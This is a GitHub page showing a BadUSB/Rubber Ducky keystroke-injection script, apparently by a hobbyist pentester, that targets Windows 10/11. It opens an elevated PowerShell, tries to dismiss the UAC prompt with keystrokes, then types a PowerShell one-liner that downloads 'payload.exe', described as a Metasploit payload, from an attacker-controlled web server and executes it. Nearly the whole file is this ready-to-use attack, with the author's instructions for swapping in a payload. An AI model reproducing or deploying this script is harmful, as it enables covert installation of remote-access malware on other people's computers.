-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathWinpayloadExecuter
More file actions
27 lines (26 loc) · 880 Bytes
/
Copy pathWinpayloadExecuter
File metadata and controls
27 lines (26 loc) · 880 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
REM Author: Pentestersploit/Adrilaw
REM Github: https://github.com/Adrilaw
REM Xda-developer: @Kidpentester
REM Title: Windows payload executer
REM Payload: On line 21 you will see I wrote payload.exe change it to the name of your payload and change the http link
REM Description: Downloads your metasploit payload from your apache webserver and then execute it
REM Target: Windows 10/11
REM Version: 1.2
REM start of script
REM
REM let the HID enumerate
DELAY 2000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 3000
TAB
TAB
SPACE
DELAY 500
ALT
DELAY 5000
STRING $down = New-Object System.Net.Webclient; $url = 'http://yourip or link/payload.exe'; $file = 'payload.exe'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;
ENTER